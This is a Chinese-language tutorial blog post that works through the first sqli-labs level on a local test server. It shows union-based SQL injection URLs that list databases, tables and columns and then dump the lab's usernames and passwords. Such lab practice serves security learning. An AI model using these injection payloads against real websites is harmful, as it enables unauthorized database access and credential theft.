web渗透之sql注入高权限 对sql-labs

MYSQL 注入中首先要明确当前注入点权限,高权限注入时有更多的
攻击手法,有的能直接进行 getshell 操作。其中也会遇到很多阻碍,相关
防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需
要了解其中的手法和原理,这样才是一个合格的安全工作者.

mysql简单基本用法:
查库:select schema_name from information_schema.schemata


查表:select table_name from information_schema.tables where table_schema="security"
查列:select column_name from information_schema.columns where table_name="users"
查字段:select username,password from security.users
进入第一关 

测试发现存在数字注入漏洞

 

发现到4就开始结束,猜想可能是3 

输入 id=-1%27%20union%20select%201,2,3--+

得到数据2和3 然后进行查询

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

获取数据得名称

发现存在用户表

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

 

 立刻查询用户表得列

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="0x7573657273"--+

 发现存在username 和 password 立刻进行查询密码账户

爆破数据 : 

这里推荐一个函数,concat_ws("",A,B),最后的输出形式为 A~B,有利于用户名和密码对应。

 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat_ws("~",username,password)) from security.users--+

成功拿到密码:Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4

 总结一下,这一类注入得流程:

        1.判断目前是否存在注点,判断是那种类型得注点 如数字类型

        2.收集信息 数据名,操作系统,数据库用户

        3.对收集得数据库进行查表select table_name from information_schema.tables where table_schema="security"

        4.然后进行查字段名select column_name from information_schema.columns where table_name="users"

        5.获得后对字段进行读取

       select username,password from security.users

大概流程就是如此

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值